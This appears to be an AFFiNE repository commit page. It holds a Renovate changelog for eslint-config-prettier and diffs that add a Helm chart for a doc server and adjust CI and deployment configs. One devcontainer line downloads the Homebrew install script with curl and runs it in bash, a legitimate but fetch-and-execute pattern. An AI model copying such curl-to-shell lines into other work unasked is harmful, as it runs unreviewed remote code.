##### Version 2.6.0 (2017-09-23)

-   Added: The [no-floating-decimal] rule.

##### Version 2.5.0 (2017-09-16)

-   Added: Support for [eslint-plugin-standard]. Thanks to Christian Pekeler ([@&#8203;pekeler](https://redirect.github.com/pekeler))!

##### Version 2.4.0 (2017-09-02)

-   Added: The [function-paren-newline] rule (new in [ESLint 4.6.0]). Thanks to Pierre Vanduynslager ([@&#8203;vanduynslagerp](https://redirect.github.com/vanduynslagerp))!

##### Version 2.3.0 (2017-06-30)

-   Added: The (deprecated) [indent-legacy] rule. Thanks to M. Ian Graham ([@&#8203;miangraham](https://redirect.github.com/miangraham))!

##### Version 2.2.0 (2017-06-17)

-   Added: New rules from [ESLint 4.0.0]:
    -   [array-element-newline]
    -   [array-bracket-newline]
    -   [semi-style]
    -   [switch-colon-spacing]
-   Added: [react/jsx-closing-tag-location]

##### Version 2.1.1 (2017-05-20)

-   No code changes. Just updates to the readme.

##### Version 2.1.0 (2017-05-13)

-   Added: The [no-tabs] rule (as a [special rule][no-tabs-special]). Thanks to Alex Meah ([@&#8203;AlexMeah](https://redirect.github.com/AlexMeah))!

##### Version 2.0.0 (2017-05-07)

-   Changed/Improved: The CLI helper tool is now more helpful.

    -   The options of special rules are now validated if possible. If a special rule is enabled with non-conflicting options, the CLI no longer warns about it.
    -   If only special rules that cannot be automatically checked are found, the CLI no longer exists with a non-zero exit code. Instead, it only warns about the rules.

-   Changed: The [no-confusing-arrow] is now a special rule again, since it might conflict with recent Prettier versions.

-   Removed: The `react/wrap-multilines` rule (which has been deprecated for a while), since it was removed in eslint-plugin-react@7.

##### Version 1.7.0 (2017-04-19)

-   Changed: The [no-confusing-arrow] is no longer a special rule, but simply turned off, since recent Prettier versions make it redundant.
-   Improved: The CLI helper tool now has a more helpful message for special rules, and exits with a different status code if only special rules were found. The exit codes are now documented as well.

##### Version 1.6.0 (2017-04-05)

-   Added: The [curly] rule. Thanks to Martin Rädlinger ([@&#8203;formatlos](https://redirect.github.com/formatlos))!

##### Version 1.5.0 (2017-03-04)

-   Added: The [nonblock-statement-body-position] rule.

##### Version 1.4.1 (2017-02-28)

-   Improved: eslint-config-prettier is now part of the [prettier] organization! This version updates all URLs to point to the new home of the project.

##### Version 1.4.0 (2017-02-26)

-   Added: The [no-confusing-arrow] rule (as a [special rule][no-confusing-arrow-special]). Thanks to Dominik Ferber ([@&#8203;dferber90](https://redirect.github.com/dferber90))!
-   Added: Deprecated or removed rules that might conflict with prettier. Thanks to Dominik Ferber ([@&#8203;dferber90](https://redirect.github.com/dferber90))!

##### Version 1.3.0 (2017-02-21)

-   Added: The [template-tag-spacing] rule. Thanks to Thibault Derousseaux ([@&#8203;tibdex](https://redirect.github.com/tibdex))!

##### Version 1.2.0 (2017-02-14)

-   Added: The [one-var-declaration-per-line] rule. Thanks to Ruben Oostinga ([@&#8203;0xR](https://redirect.github.com/0xR))!

##### Version 1.1.1 (2017-02-12)

-   Minor documentation tweak: Changed "Exceptions" into "Special rules".

##### Version 1.1.0 (2017-02-10)

-   Fixed: The [eslint-plugin-react] exclusion rules now actually work.
-   Fixed: The CLI helper tool now works in Node.js 4. Thanks to Nathan Friedly ([@&#8203;nfriedly](https://redirect.github.com/nfriedly))!
-   Added: Support for [eslint-plugin-flowtype].
-   Improved: Minor things for the CLI helper tool.
-   Improved: There are now tests for everything.

##### Version 1.0.3 (2017-02-03)

-   Fixed: `"extends": "prettier/react"` now actually works.

##### Version 1.0.2 (2017-01-30)

-   Improved: CLI helper tool instructions.

##### Version 1.0.1 (2017-01-29)

-   No difference from 1.0.0. Just an `npm publish` mistake.

##### Version 1.0.0 (2017-01-29)

-   Initial release.

[@&#8203;babel/eslint-plugin]: https://redirect.github.com/babel/babel/tree/main/eslint/babel-eslint-plugin

[@&#8203;typescript-eslint/block-spacing]: https://redirect.github.com/typescript-eslint/typescript-eslint/blob/master/packages/eslint-plugin/docs/rules/block-spacing.md

[@&#8203;typescript-eslint/brace-style]: https://redirect.github.com/typescript-eslint/typescript-eslint/blob/master/packages/eslint-plugin/docs/rules/brace-style.md

[@&#8203;typescript-eslint/comma-dangle]: https://redirect.github.com/typescript-eslint/typescript-eslint/blob/master/packages/eslint-plugin/docs/rules/comma-dangle.md

[@&#8203;typescript-eslint/comma-spacing]: https://redirect.github.com/typescript-eslint/typescript-eslint/blob/master/packages/eslint-plugin/docs/rules/comma-spacing.md

[@&#8203;typescript-eslint/eslint-plugin]: https://redirect.github.com/typescript-eslint/typescript-eslint

[@&#8203;typescript-eslint/func-call-spacing]: https://redirect.github.com/typescript-eslint/typescript-eslint/blob/master/packages/eslint-plugin/docs/rules/func-call-spacing.md

[@&#8203;typescript-eslint/key-spacing]: https://redirect.github.com/typescript-eslint/typescript-eslint/blob/master/packages/eslint-plugin/docs/rules/key-spacing.md

[@&#8203;typescript-eslint/keyword-spacing]: https://redirect.github.com/typescript-eslint/typescript-eslint/blob/master/packages/eslint-plugin/docs/rules/keyword-spacing.md

[@&#8203;typescript-eslint/lines-around-comment]: https://redirect.github.com/typescript-eslint/typescript-eslint/blob/master/packages/eslint-plugin/docs/rules/lines-around-comment.md

[@&#8203;typescript-eslint/no-extra-parens]: https://redirect.github.com/typescript-eslint/typescript-eslint/blob/master/packages/eslint-plugin/docs/rules/no-extra-parens.md

[@&#8203;typescript-eslint/no-extra-semi]: https://redirect.github.com/typescript-eslint/typescript-eslint/blob/master/packages/eslint-plugin/docs/rules/no-extra-semi.md

[@&#8203;typescript-eslint/object-curly-spacing]: https://redirect.github.com/typescript-eslint/typescript-eslint/blob/master/packages/eslint-plugin/docs/rules/object-curly-spacing.md

[@&#8203;typescript-eslint/quotes-special]: 857257179f/README.md (quotes)

[@&#8203;typescript-eslint/quotes]: https://redirect.github.com/typescript-eslint/typescript-eslint/blob/master/packages/eslint-plugin/docs/rules/quotes.md

[@&#8203;typescript-eslint/semi]: https://redirect.github.com/typescript-eslint/typescript-eslint/blob/master/packages/eslint-plugin/docs/rules/semi.md

[@&#8203;typescript-eslint/space-before-blocks]: https://redirect.github.com/typescript-eslint/typescript-eslint/blob/master/packages/eslint-plugin/docs/rules/space-before-blocks.md

[@&#8203;typescript-eslint/space-before-function-paren]: https://redirect.github.com/typescript-eslint/typescript-eslint/blob/master/packages/eslint-plugin/docs/rules/space-before-function-paren.md

[@&#8203;typescript-eslint/space-infix-ops]: https://redirect.github.com/typescript-eslint/typescript-eslint/blob/master/packages/eslint-plugin/docs/rules/space-infix-ops.md

[array-bracket-newline]: https://eslint.org/docs/rules/array-bracket-newline

[array-element-newline]: https://eslint.org/docs/rules/array-element-newline

[arrow-body-style]: https://eslint.org/docs/rules/arrow-body-style

[arrow-special]: 2c842675e5/README.md (arrow-body-style-and-prefer-arrow-callback)

[curly]: https://eslint.org/docs/rules/curly

[deprecated-8.53.0]: https://eslint.org/blog/2023/10/deprecating-formatting-rules/

[end-of-line]: https://prettier.io/docs/en/options.html#end-of-line

[eslint 4.0.0]: https://eslint.org/blog/2017/06/eslint-v4.0.0-released

[eslint 4.6.0]: https://eslint.org/blog/2017/09/eslint-v4.6.0-released

[ESLINT_USE_FLAT_CONFIG]: https://redirect.github.com/prettier/eslint-config-prettier#eslint_use_flat_config-environment-variable

[eslint-plugin-babel]: https://redirect.github.com/babel/eslint-plugin-babel

[eslint-plugin-flowtype]: https://redirect.github.com/gajus/eslint-plugin-flowtype

[eslint-plugin-prettier]: https://redirect.github.com/prettier/eslint-plugin-prettier

[eslint-plugin-react]: https://redirect.github.com/yannickcr/eslint-plugin-react

[eslint-plugin-standard]: https://redirect.github.com/xjamundx/eslint-plugin-standard

[eslint-plugin-typescript]: https://redirect.github.com/bradzacher/eslint-plugin-typescript

[eslint-plugin-unicorn]: https://redirect.github.com/sindresorhus/eslint-plugin-unicorn

[eslint-plugin-vue]: https://redirect.github.com/vuejs/eslint-plugin-vue

[excluding deprecated rules]: 9f6b59486a (excluding-deprecated-rules)

[flowtype/boolean-style]: https://redirect.github.com/gajus/eslint-plugin-flowtype#eslint-plugin-flowtype-rules-boolean-style

[flowtype/object-type-curly-spacing]: https://redirect.github.com/gajus/eslint-plugin-flowtype#eslint-plugin-flowtype-rules-object-type-curly-spacing

[flowtype/quotes]: https://redirect.github.com/gajus/eslint-plugin-flowtype#eslint-plugin-flowtype-rules-quotes

[function-call-argument-newline]: https://eslint.org/docs/rules/function-call-argument-newline

[function-paren-newline]: https://eslint.org/docs/rules/function-paren-newline

[implicit-arrow-linebreak]: https://eslint.org/docs/rules/implicit-arrow-linebreak

[indent-legacy]: https://eslint.org/docs/rules/indent-legacy

[linebreak-style]: https://eslint.org/docs/rules/linebreak-style

[lines-around-comment-special]: 5399175c37/README.md (lines-around-comment)

[lines-around-comment]: https://eslint.org/docs/rules/lines-around-comment

[max-statements-per-line]: https://eslint.org/docs/latest/rules/max-statements-per-line

[no-confusing-arrow-special]: 08ac5bcc25/README.md (no-confusing-arrow)

[no-confusing-arrow]: https://eslint.org/docs/rules/no-confusing-arrow

[no-floating-decimal]: https://eslint.org/docs/rules/no-floating-decimal

[no-tabs-special]: dfa6e2b51f/README.md (no-tabs)

[no-tabs]: https://eslint.org/docs/rules/no-tabs

[no-unexpected-multiline-special]: 5399175c37/README.md (no-unexpected-multiline)

[no-unexpected-multiline]: https://eslint.org/docs/rules/no-unexpected-multiline

[nonblock-statement-body-position]: https://eslint.org/docs/rules/nonblock-statement-body-position

[one-var-declaration-per-line]: https://eslint.org/docs/rules/one-var-declaration-per-line

[plugin:prettier/recommended]: https://redirect.github.com/prettier/eslint-plugin-prettier#recommended-configuration

[prefer-arrow-callback]: https://eslint.org/docs/rules/prefer-arrow-callback

[prettier-prettier-config]: 03c79b9306 (arrow-body-style-and-prefer-arrow-callback)

[prettier-self-closing]: https://prettier.io/blog/2019/06/06/1.18.0.html#stop-converting-empty-jsx-elements-to-self-closing-elements-6127-by-duailibe

[prettier]: https://redirect.github.com/prettier

[quotes-special]: 8d264cd0a7/README.md (quotes)

[quotes]: https://eslint.org/docs/rules/quotes

[react/jsx-child-element-spacing]: https://redirect.github.com/yannickcr/eslint-plugin-react/blob/master/docs/rules/jsx-child-element-spacing.md

[react/jsx-closing-tag-location]: https://redirect.github.com/yannickcr/eslint-plugin-react/blob/master/docs/rules/jsx-closing-tag-location.md

[react/jsx-curly-newline]: https://redirect.github.com/yannickcr/eslint-plugin-react/blob/master/docs/rules/jsx-curly-newline.md

[react/jsx-newline]: https://redirect.github.com/yannickcr/eslint-plugin-react/blob/master/docs/rules/jsx-newline.md

[react/jsx-one-expression-per-line]: https://redirect.github.com/yannickcr/eslint-plugin-react/blob/master/docs/rules/jsx-one-expression-per-line.md

[react/jsx-props-no-multi-spaces]: https://redirect.github.com/yannickcr/eslint-plugin-react/blob/master/docs/rules/jsx-props-no-multi-spaces.md

[react/self-closing-comp]: https://redirect.github.com/yannickcr/eslint-plugin-react/blob/master/docs/rules/self-closing-comp.md

[semi-style]: https://eslint.org/docs/rules/semi-style

[switch-colon-spacing]: https://eslint.org/docs/rules/switch-colon-spacing

[template-tag-spacing]: https://eslint.org/docs/rules/template-tag-spacing

[unicode-bom]: https://eslint.org/docs/rules/unicode-bom

[unicorn/empty-brace-spaces]: https://redirect.github.com/sindresorhus/eslint-plugin-unicorn/blob/master/docs/rules/empty-brace-spaces.md

[unicorn/no-nested-ternary]: https://redirect.github.com/sindresorhus/eslint-plugin-unicorn/blob/master/docs/rules/no-nested-ternary.md

[unicorn/template-indent-special]: 4110dff0c5/README.md (unicorntemplate-indent)

[unicorn/template-indent]: https://redirect.github.com/sindresorhus/eslint-plugin-unicorn/blob/master/docs/rules/template-indent.md

[vue/array-element-newline]: https://redirect.github.com/vuejs/eslint-plugin-vue/blob/master/docs/rules/array-element-newline.md

[vue/arrow-spacing]: https://redirect.github.com/vuejs/eslint-plugin-vue/blob/master/docs/rules/arrow-spacing.md

[vue/block-spacing]: https://redirect.github.com/vuejs/eslint-plugin-vue/blob/master/docs/rules/block-spacing.md

[vue/brace-style]: https://redirect.github.com/vuejs/eslint-plugin-vue/blob/master/docs/rules/brace-style.md

[vue/comma-dangle]: https://redirect.github.com/vuejs/eslint-plugin-vue/blob/master/docs/rules/comma-dangle.md

[vue/dot-location]: https://redirect.github.com/vuejs/eslint-plugin-vue/blob/master/docs/rules/dot-location.md

[vue/html-self-closing-special]: d5e7af9862/README.md (vuehtml-self-closing)

[vue/html-self-closing]: https://redirect.github.com/vuejs/eslint-plugin-vue/blob/master/docs/rules/html-self-closing.md

[vue/keyword-spacing]: https://redirect.github.com/vuejs/eslint-plugin-vue/blob/master/docs/rules/array-bracket-newline.md

[vue/keyword-spacing]: https://redirect.github.com/vuejs/eslint-plugin-vue/blob/master/docs/rules/block-tag-newline.md

[vue/keyword-spacing]: https://redirect.github.com/vuejs/eslint-plugin-vue/blob/master/docs/rules/keyword-spacing.md

[vue/max-len]: https://redirect.github.com/vuejs/eslint-plugin-vue/blob/master/docs/rules/max-len.md

[vue/multiline-ternary]: https://redirect.github.com/vuejs/eslint-plugin-vue/blob/master/docs/rules/multiline-ternary.md

[vue/quote-props]: https://redirect.github.com/vuejs/eslint-plugin-vue/blob/master/docs/rules/quote-props.md

### [`v10.0.0`](https://redirect.github.com/prettier/eslint-config-prettier/blob/HEAD/CHANGELOG.md#1000)

[Compare Source](https://redirect.github.com/prettier/eslint-config-prettier/compare/v9.1.0...v10.0.0)

##### Major Changes

-   [#&#8203;272](https://redirect.github.com/prettier/eslint-config-prettier/pull/272) [`5be64be`](5be64bef68) Thanks [@&#8203;abrahamguo](https://redirect.github.com/abrahamguo)! - add support for [@&#8203;stylistic](https://redirect.github.com/stylistic) formatting rules

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS45Mi4wIiwidXBkYXRlZEluVmVyIjoiMzkuOTIuMCIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2025-01-17 05:23:03 +00:00
doouding
b350dd1580 fix: legacy e2e test debug (#9746) 2025-01-17 04:26:59 +00:00
EYHN
ca9c94861a refactor(core): adjust merbers module apis (#9695) 2025-01-17 02:50:02 +00:00
2761 changed files with 92743 additions and 45574 deletions

View File

@@ -1,5 +1,6 @@
FROM mcr.microsoft.com/devcontainers/base:bookworm
USER vscode
# Install Homebrew For Linux
RUN /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)" && \
eval "$(/home/linuxbrew/.linuxbrew/bin/brew shellenv)" && \

View File

@@ -1,4 +1,3 @@
DATABASE_LOCATION=./postgres
DB_PASSWORD=affine
DB_USERNAME=affine
DB_DATABASE_NAME=affine

1
.github/CODEOWNERS vendored
View File

@@ -1 +1,2 @@
/blocksuite/ @toeverything/blocksuite-core
/packages/frontend/core/src/blocksuite @toeverything/blocksuite-core

View File

@@ -47,18 +47,21 @@ const replicaConfig = {
graphql: Number(process.env.PRODUCTION_GRAPHQL_REPLICA) || 3,
sync: Number(process.env.PRODUCTION_SYNC_REPLICA) || 3,
renderer: Number(process.env.PRODUCTION_RENDERER_REPLICA) || 3,
doc: Number(process.env.PRODUCTION_DOC_REPLICA) || 3,
},
beta: {
web: 2,
graphql: Number(process.env.BETA_GRAPHQL_REPLICA) || 2,
sync: Number(process.env.BETA_SYNC_REPLICA) || 2,
renderer: Number(process.env.BETA_RENDERER_REPLICA) || 2,
doc: Number(process.env.BETA_DOC_REPLICA) || 2,
},
canary: {
web: 2,
graphql: 2,
sync: 2,
renderer: 2,
doc: 2,
},
};
@@ -67,12 +70,14 @@ const cpuConfig = {
web: '300m',
graphql: '1',
sync: '1',
doc: '1',
renderer: '300m',
},
canary: {
web: '300m',
graphql: '1',
sync: '1',
doc: '1',
renderer: '300m',
},
};
@@ -111,6 +116,7 @@ const createHelmCommand = ({ isDryRun }) => {
`--set web.resources.requests.cpu="${cpu.web}"`,
`--set graphql.resources.requests.cpu="${cpu.graphql}"`,
`--set sync.resources.requests.cpu="${cpu.sync}"`,
`--set doc.resources.requests.cpu="${cpu.doc}"`,
]
: [];
@@ -168,6 +174,9 @@ const createHelmCommand = ({ isDryRun }) => {
`--set-string renderer.image.tag="${imageTag}"`,
`--set renderer.app.host=${host}`,
`--set renderer.replicaCount=${replica.renderer}`,
`--set-string doc.image.tag="${imageTag}"`,
`--set doc.app.host=${host}`,
`--set doc.replicaCount=${replica.doc}`,
...serviceAnnotations,
...resources,
`--timeout 10m`,

View File

@@ -1,4 +1,4 @@
FROM node:20-bookworm-slim
FROM node:22-bookworm-slim
COPY ./packages/backend/server /app
COPY ./packages/frontend/apps/web/dist /app/static

View File

@@ -3,4 +3,4 @@ name: affine
description: AFFiNE cloud chart
type: application
version: 0.0.0
appVersion: "0.19.0"
appVersion: "0.20.0"

View File

@@ -0,0 +1,11 @@
apiVersion: v2
name: doc
description: AFFiNE doc server
type: application
version: 0.0.0
appVersion: "0.20.0"
dependencies:
- name: gcloud-sql-proxy
version: 0.0.0
repository: "file://../gcloud-sql-proxy"
condition: .global.database.gcloud.enabled

View File

@@ -0,0 +1,16 @@
1. Get the application URL by running these commands:
{{- if contains "NodePort" .Values.service.type }}
export NODE_PORT=$(kubectl get --namespace {{ .Release.Namespace }} -o jsonpath="{.spec.ports[0].nodePort}" services {{ include "doc.fullname" . }})
export NODE_IP=$(kubectl get nodes --namespace {{ .Release.Namespace }} -o jsonpath="{.items[0].status.addresses[0].address}")
echo http://$NODE_IP:$NODE_PORT
{{- else if contains "LoadBalancer" .Values.service.type }}
NOTE: It may take a few minutes for the LoadBalancer IP to be available.
You can watch the status of by running 'kubectl get --namespace {{ .Release.Namespace }} svc -w {{ include "doc.fullname" . }}'
export SERVICE_IP=$(kubectl get svc --namespace {{ .Release.Namespace }} {{ include "doc.fullname" . }} --template "{{"{{ range (index .status.loadBalancer.ingress 0) }}{{.}}{{ end }}"}}")
echo http://$SERVICE_IP:{{ .Values.service.port }}
{{- else if contains "ClusterIP" .Values.service.type }}
export POD_NAME=$(kubectl get pods --namespace {{ .Release.Namespace }} -l "app.kubernetes.io/name={{ include "doc.name" . }},app.kubernetes.io/instance={{ .Release.Name }}" -o jsonpath="{.items[0].metadata.name}")
export CONTAINER_PORT=$(kubectl get pod --namespace {{ .Release.Namespace }} $POD_NAME -o jsonpath="{.spec.containers[0].ports[0].containerPort}")
echo "Visit http://127.0.0.1:8080 to use your application"
kubectl --namespace {{ .Release.Namespace }} port-forward $POD_NAME 8080:$CONTAINER_PORT
{{- end }}

View File

@@ -0,0 +1,63 @@
{{/*
Expand the name of the chart.
*/}}
{{- define "doc.name" -}}
{{- default .Chart.Name .Values.nameOverride | trunc 63 | trimSuffix "-" }}
{{- end }}
{{/*
Create a default fully qualified app name.
We truncate at 63 chars because some Kubernetes name fields are limited to this (by the DNS naming spec).
If release name contains chart name it will be used as a full name.
*/}}
{{- define "doc.fullname" -}}
{{- if .Values.fullnameOverride }}
{{- .Values.fullnameOverride | trunc 63 | trimSuffix "-" }}
{{- else }}
{{- $name := default .Chart.Name .Values.nameOverride }}
{{- if contains $name .Release.Name }}
{{- .Release.Name | trunc 63 | trimSuffix "-" }}
{{- else }}
{{- printf "%s-%s" .Release.Name $name | trunc 63 | trimSuffix "-" }}
{{- end }}
{{- end }}
{{- end }}
{{/*
Create chart name and version as used by the chart label.
*/}}
{{- define "doc.chart" -}}
{{- printf "%s-%s" .Chart.Name .Chart.Version | replace "+" "_" | trunc 63 | trimSuffix "-" }}
{{- end }}
{{/*
Common labels
*/}}
{{- define "doc.labels" -}}
helm.sh/chart: {{ include "doc.chart" . }}
{{ include "doc.selectorLabels" . }}
{{- if .Chart.AppVersion }}
app.kubernetes.io/version: {{ .Chart.AppVersion | quote }}
{{- end }}
app.kubernetes.io/managed-by: {{ .Release.Service }}
monitoring: enabled
{{- end }}
{{/*
Selector labels
*/}}
{{- define "doc.selectorLabels" -}}
app.kubernetes.io/name: {{ include "doc.name" . }}
app.kubernetes.io/instance: {{ .Release.Name }}
{{- end }}
{{/*
Create the name of the service account to use
*/}}
{{- define "doc.serviceAccountName" -}}
{{- if .Values.serviceAccount.create }}
{{- default (include "doc.fullname" .) .Values.global.docService.name }}
{{- else }}
{{- default "default" .Values.global.docService.name }}
{{- end }}
{{- end }}

View File

@@ -0,0 +1,105 @@
apiVersion: apps/v1
kind: Deployment
metadata:
name: {{ include "doc.fullname" . }}
labels:
{{- include "doc.labels" . | nindent 4 }}
spec:
replicas: {{ .Values.replicaCount }}
selector:
matchLabels:
{{- include "doc.selectorLabels" . | nindent 6 }}
template:
metadata:
{{- with .Values.podAnnotations }}
annotations:
{{- toYaml . | nindent 8 }}
{{- end }}
labels:
{{- include "doc.selectorLabels" . | nindent 8 }}
spec:
{{- with .Values.imagePullSecrets }}
imagePullSecrets:
{{- toYaml . | nindent 8 }}
{{- end }}
serviceAccountName: {{ include "doc.serviceAccountName" . }}
containers:
- name: {{ .Chart.Name }}
image: "{{ .Values.image.repository }}:{{ .Values.image.tag | default .Chart.AppVersion }}"
imagePullPolicy: {{ .Values.image.pullPolicy }}
env:
- name: AFFINE_PRIVATE_KEY
valueFrom:
secretKeyRef:
name: "{{ .Values.global.secret.secretName }}"
key: key
- name: NODE_ENV
value: "{{ .Values.env }}"
- name: NODE_OPTIONS
value: "--max-old-space-size=4096"
- name: NO_COLOR
value: "1"
- name: DEPLOYMENT_TYPE
value: "affine"
- name: SERVER_FLAVOR
value: "doc"
- name: AFFINE_ENV
value: "{{ .Release.Namespace }}"
- name: DATABASE_PASSWORD
valueFrom:
secretKeyRef:
name: pg-postgresql
key: postgres-password
- name: DATABASE_URL
value: postgres://{{ .Values.global.database.user }}:$(DATABASE_PASSWORD)@{{ .Values.global.database.url }}:{{ .Values.global.database.port }}/{{ .Values.global.database.name }}
- name: REDIS_SERVER_ENABLED
value: "true"
- name: REDIS_SERVER_HOST
value: "{{ .Values.global.redis.host }}"
- name: REDIS_SERVER_PORT
value: "{{ .Values.global.redis.port }}"
- name: REDIS_SERVER_USER
value: "{{ .Values.global.redis.username }}"
- name: REDIS_SERVER_PASSWORD
valueFrom:
secretKeyRef:
name: redis
key: redis-password
- name: REDIS_SERVER_DATABASE
value: "{{ .Values.global.redis.database }}"
- name: AFFINE_SERVER_PORT
value: "{{ .Values.global.docService.port }}"
- name: AFFINE_SERVER_SUB_PATH
value: "{{ .Values.app.path }}"
- name: AFFINE_SERVER_HOST
value: "{{ .Values.app.host }}"
- name: AFFINE_SERVER_HTTPS
value: "{{ .Values.app.https }}"
ports:
- name: http
containerPort: {{ .Values.global.docService.port }}
protocol: TCP
livenessProbe:
httpGet:
path: /info
port: http
initialDelaySeconds: {{ .Values.probe.initialDelaySeconds }}
readinessProbe:
httpGet:
path: /info
port: http
initialDelaySeconds: {{ .Values.probe.initialDelaySeconds }}
resources:
{{- toYaml .Values.resources | nindent 12 }}
{{- with .Values.nodeSelector }}
nodeSelector:
{{- toYaml . | nindent 8 }}
{{- end }}
{{- with .Values.affinity }}
affinity:
{{- toYaml . | nindent 8 }}
{{- end }}
{{- with .Values.tolerations }}
tolerations:
{{- toYaml . | nindent 8 }}
{{- end }}

View File

@@ -0,0 +1,19 @@
apiVersion: v1
kind: Service
metadata:
name: {{ include "doc.fullname" . }}
labels:
{{- include "doc.labels" . | nindent 4 }}
{{- with .Values.service.annotations }}
annotations:
{{- toYaml . | nindent 4 }}
{{- end }}
spec:
type: {{ .Values.service.type }}
ports:
- port: {{ .Values.global.docService.port }}
targetPort: http
protocol: TCP
name: http
selector:
{{- include "doc.selectorLabels" . | nindent 4 }}

View File

@@ -0,0 +1,12 @@
{{- if .Values.serviceAccount.create -}}
apiVersion: v1
kind: ServiceAccount
metadata:
name: {{ include "doc.serviceAccountName" . }}
labels:
{{- include "doc.labels" . | nindent 4 }}
{{- with .Values.serviceAccount.annotations }}
annotations:
{{- toYaml . | nindent 4 }}
{{- end }}
{{- end }}

View File

@@ -0,0 +1,15 @@
apiVersion: v1
kind: Pod
metadata:
name: "{{ include "doc.fullname" . }}-test-connection"
labels:
{{- include "doc.labels" . | nindent 4 }}
annotations:
"helm.sh/hook": test
spec:
containers:
- name: wget
image: busybox
command: ['wget']
args: ['{{ include "doc.fullname" . }}:{{ .Values.global.docService.port }}']
restartPolicy: Never

View File

@@ -0,0 +1,37 @@
replicaCount: 1
image:
repository: ghcr.io/toeverything/affine-graphql
pullPolicy: IfNotPresent
tag: ''
imagePullSecrets: []
nameOverride: ''
fullnameOverride: ''
# map to NODE_ENV environment variable
env: 'production'
app:
# AFFINE_SERVER_SUB_PATH
path: ''
# AFFINE_SERVER_HOST
host: '0.0.0.0'
https: true
serviceAccount:
create: true
annotations: {}
podAnnotations: {}
podSecurityContext:
fsGroup: 2000
resources:
requests:
cpu: '2'
memory: 4Gi
probe:
initialDelaySeconds: 20
nodeSelector: {}
tolerations: []
affinity: {}

View File

@@ -3,7 +3,7 @@ name: graphql
description: AFFiNE GraphQL server
type: application
version: 0.0.0
appVersion: "0.19.0"
appVersion: "0.20.0"
dependencies:
- name: gcloud-sql-proxy
version: 0.0.0

View File

@@ -116,8 +116,8 @@ spec:
secretKeyRef:
name: "{{ .Values.app.payment.stripe.secretName }}"
key: stripeWebhookKey
- name: DOC_MERGE_INTERVAL
value: "{{ .Values.app.doc.mergeInterval }}"
- name: DOC_SERVICE_ENDPOINT
value: "http://{{ .Values.global.docService.name }}:{{ .Values.global.docService.port }}"
{{ if .Values.app.experimental.enableJwstCodec }}
- name: DOC_MERGE_USE_JWST_CODEC
value: "true"

View File

@@ -17,8 +17,6 @@ app:
# AFFINE_SERVER_HOST
host: '0.0.0.0'
https: true
doc:
mergeInterval: "3000"
captcha:
enabled: false
secretName: captcha

View File

@@ -94,6 +94,8 @@ spec:
name: "{{ .Values.global.objectStorage.r2.secretName }}"
key: secretAccessKey
{{ end }}
- name: DOC_SERVICE_ENDPOINT
value: "http://{{ .Values.global.docService.name }}:{{ .Values.global.docService.port }}"
ports:
- name: http
containerPort: {{ .Values.service.port }}

View File

@@ -3,7 +3,7 @@ name: sync
description: AFFiNE Sync Server
type: application
version: 0.0.0
appVersion: "0.19.0"
appVersion: "0.20.0"
dependencies:
- name: gcloud-sql-proxy
version: 0.0.0

View File

@@ -73,6 +73,8 @@ spec:
value: "{{ .Values.service.port }}"
- name: AFFINE_SERVER_HOST
value: "{{ .Values.app.host }}"
- name: DOC_SERVICE_ENDPOINT
value: "http://{{ .Values.global.docService.name }}:{{ .Values.global.docService.port }}"
ports:
- name: http
containerPort: {{ .Values.service.port }}

View File

@@ -39,6 +39,9 @@ global:
secretAccessKey: ''
gke:
enabled: true
docService:
name: 'affine-doc'
port: 3020
graphql:
service:
@@ -61,6 +64,12 @@ renderer:
annotations:
cloud.google.com/backend-config: '{"default": "affine-api-backendconfig"}'
doc:
service:
type: ClusterIP
annotations:
cloud.google.com/backend-config: '{"default": "affine-api-backendconfig"}'
web:
service:
type: ClusterIP

View File

@@ -28,7 +28,7 @@ jobs:
extra-flags: workspaces focus @affine/server
- name: Build Server
run: |
rm -rf packages/backend/server/src/__tests__
find packages/backend/server -type d -name "__tests__" -exec rm -rf {} +
yarn workspace @affine/server build
- name: Upload server dist
uses: actions/upload-artifact@v4

View File

@@ -118,6 +118,26 @@ jobs:
- name: Run Type Check
run: yarn typecheck
lint-rust:
name: Lint Rust
runs-on: ubuntu-latest
needs: optimize_ci
if: needs.optimize_ci.outputs.skip == 'false'
steps:
- uses: actions/checkout@v4
- uses: ./.github/actions/build-rust
with:
no-build: 'true'
- name: fmt check
run: |
rustup toolchain add nightly
rustup component add --toolchain nightly-x86_64-unknown-linux-gnu rustfmt
cargo +nightly fmt --all -- --check
- name: Clippy
run: |
rustup component add clippy
cargo clippy --all-targets --all-features -- -D warnings
check-yarn-binary:
name: Check yarn binary
runs-on: ubuntu-latest
@@ -155,7 +175,7 @@ jobs:
run: yarn workspace @blocksuite/legacy-e2e test --forbid-only --shard=${{ matrix.shard }}/${{ strategy.job-total }}
- name: Upload test results
if: ${{ failure() }}
if: always()
uses: actions/upload-artifact@v4
with:
name: test-results-e2e-legacy-bs-${{ matrix.shard }}
@@ -187,7 +207,7 @@ jobs:
run: yarn affine @affine-test/affine-local e2e --forbid-only --shard=${{ matrix.shard }}/${{ strategy.job-total }}
- name: Upload test results
if: ${{ failure() }}
if: always()
uses: actions/upload-artifact@v4
with:
name: test-results-e2e-${{ matrix.shard }}
@@ -219,7 +239,7 @@ jobs:
run: yarn affine @affine-test/affine-mobile e2e --forbid-only --shard=${{ matrix.shard }}/${{ strategy.job-total }}
- name: Upload test results
if: ${{ failure() }}
if: always()
uses: actions/upload-artifact@v4
with:
name: test-results-e2e-mobile-${{ matrix.shard }}
@@ -308,6 +328,7 @@ jobs:
package: '@affine/native'
- name: Upload ${{ steps.filename.outputs.filename }}
uses: actions/upload-artifact@v4
if: always()
with:
name: ${{ steps.filename.outputs.filename }}
path: ${{ env.DEV_DRIVE_WORKSPACE || github.workspace }}/packages/frontend/native/${{ steps.filename.outputs.filename }}
@@ -334,6 +355,7 @@ jobs:
package: '@affine/server-native'
